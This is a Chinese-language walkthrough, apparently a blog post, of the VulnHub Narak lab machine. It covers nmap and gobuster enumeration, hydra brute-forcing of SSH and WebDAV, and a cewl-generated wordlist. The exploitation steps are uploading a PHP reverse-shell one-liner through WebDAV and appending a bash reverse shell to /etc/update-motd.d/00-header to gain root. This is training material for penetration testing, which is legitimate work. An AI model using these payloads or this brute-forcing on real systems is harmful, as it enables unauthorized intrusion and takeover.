Narak靶机打靶过程

一、靶机介绍

名称:Narak

发布日期:23 Sep 2020

Download (Mirror): https://download.vulnhub.com/ha/narak.ova

tips: Narak is the Hindu equivalent of Hell. You are in the pit with the Lord of Hell himself. Can you use your hacking skills to get out of the Narak? Burning walls and demons are around every corner even your trusty tools will betray you on this quest. Trust no one. Just remember the ultimate mantra to escape Narak “Enumeration”. After getting the root you will indeed agree “Hell ain’t a bad place to be”.

二、信息收集

主机发现

arp-scan -l

端口扫描

nmap -p- 192.168.81.128 --min-rate=5000

nmap -p22,80 -sT -sC -sV -O 192.168.81.128

访问首页,发现是一个有关于 Narak(印度教地狱)的介绍

纳拉克(印度语:Narak)是印度教的地狱,罪人死后在那里受折磨。它也是死神闻罗王的住所(上图)。它被描述为位于宇宙的南部和地球之下。许多经文描述有28层地狱。死后,阎罗王的使者叫vamdoot,把所有的生命带到阎罗王的法庭上,在那里,阎罗王衡量生命的美德和罪恶,并作出判决,把有道德的送到swarg(天堂),把罪人送到地狱之一。 在斯瓦格或纳拉克的逗留通常被描述为临时性的。在惩罚结束后,灵魂根据他们的功德重生为更低或更高的生命。

About 下面有个 DoNotClick 的按钮

点击后发现得到一张图片

是否这张图片有隐藏信息?

wget http://192.168.81.128/images/666.jpg
file 666.jpg
exiftool 666.jpg

目录扫描

apt update  
apt install gobuster
gobuster dir -u http://192.168.81.128 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50

http://192.168.81.128/webdav/

WebDAV (Web-based Distributed Authoring and Versioning) 一种基于 HTTP 1.1协议的通信协议。它扩展了HTTP 1.1,在GET、POST、HEAD等几个HTTP标准方法以外添加了一些新的方法,使应用程序可对Web Server直接读写,并支持写文件锁定(Locking)及解锁(Unlock),还可以支持文件的版本控制。

可以直接put文件上去。。。。

访问需要口令.。。。

常见的弱口令测试均无法登录。。。。

简介中提到了一个用户 vamdoot 尝试ssh 爆破

hydra -l vamdoot -P /usr/share/wordlists/rockyou.txt ssh://192.168.81.128

漫长等待之后无果。。。

vamdoot 尝试 爆破 webdav

先解压rockyou.txt.gz

hydra -l vamdoot -P /usr/share/wordlists/rockyou.txt 192.168.81.128 http-get /webdav -t 64

第一轮爆破失败

当密码爆破失败的时候,可以优先 使用 cewl 生成字典

cewl http://192.168.81.128  -w 192.168.81.128dict.txt
hydra -L 192.168.81.128dict.txt -P 192.168.81.128dict.txt 192.168.81.128 http-get /webdav -v

尝试 ssh

ssh yamdoot@192.168.81.128

尝试 webdav

没有任何文件,so,直接测试

此时kali中有许多工具可以充当webdav的客户端,其中有一个工具davtest,可以测试通过webdav能上传哪些后缀文件以及其对应权限:

davtest -url http://192.168.81.128/webdav/ -auth yamdoot:Swarg

经过测试,发现可以上传 php 文件,那么直接上传 一句话木马,或者反弹shell的脚本

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.81.129/9999 0>&1'"); ?>

三、getshell

然后再利用一个客户端。把shell.php上传,此处使用的webdav客户端是cadaver

cadaver http://192.168.81.128/webdav
输入用户名和密码(yamdoot:Swarg)
put shell.php

kali开启监听

访问 http://192.168.81.128/webdav/shell.ph

成功反弹shell

四、提权

获取交互式shell

python3 -c "import pty;pty.spawn('/bin/bash')"

当前用户是一个 web 用户,没啥用,查看可登录用户

cat /etc/passwd | grep -v nologin

接下来我们通过下面这条命令找一些属主是root 普通用户或组可执行 其他用户可写的文件,这种文件往往可以帮助我们实现权限提升。

find / -type f -user root -perm -ug=x,o=w -exec ls -l '{}' \; 2>/dev/null

#命令解释:
从根目录下开始查找 文件类型 属主是root 普通用户或组可执行 其他用户可写  如果发现了符合条件的用 ls -l命令显示  错误信息从定向到null

先cat了一下搜索到的第一个文件,发现里面有brainfuck加密的内容,所以尝试解密下。

cat /mnt/hell.sh

互联网搜索得知为 BF编码

可能是某个用户的密码,挨个试一下发现是chitragupt

chitragupt

修改 00-header 追加反弹shell的代码

echo "bash -c 'bash -i >& /dev/tcp/192.168.81.129/8888 0>&1'" >> /etc/update-motd.d/00-header
cat /etc/update-motd.d/00-header 

尝试登录

ssh inferno@192.168.81.128    #chitragupt

五、总结

  • 1、目录扫描记得扫 txt、备份文件等
  • 2、爆破无果,可以自己通过页面单词整理一份字典
  • 3、端口扫描 TCP要是打不进去,看看UDP


 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值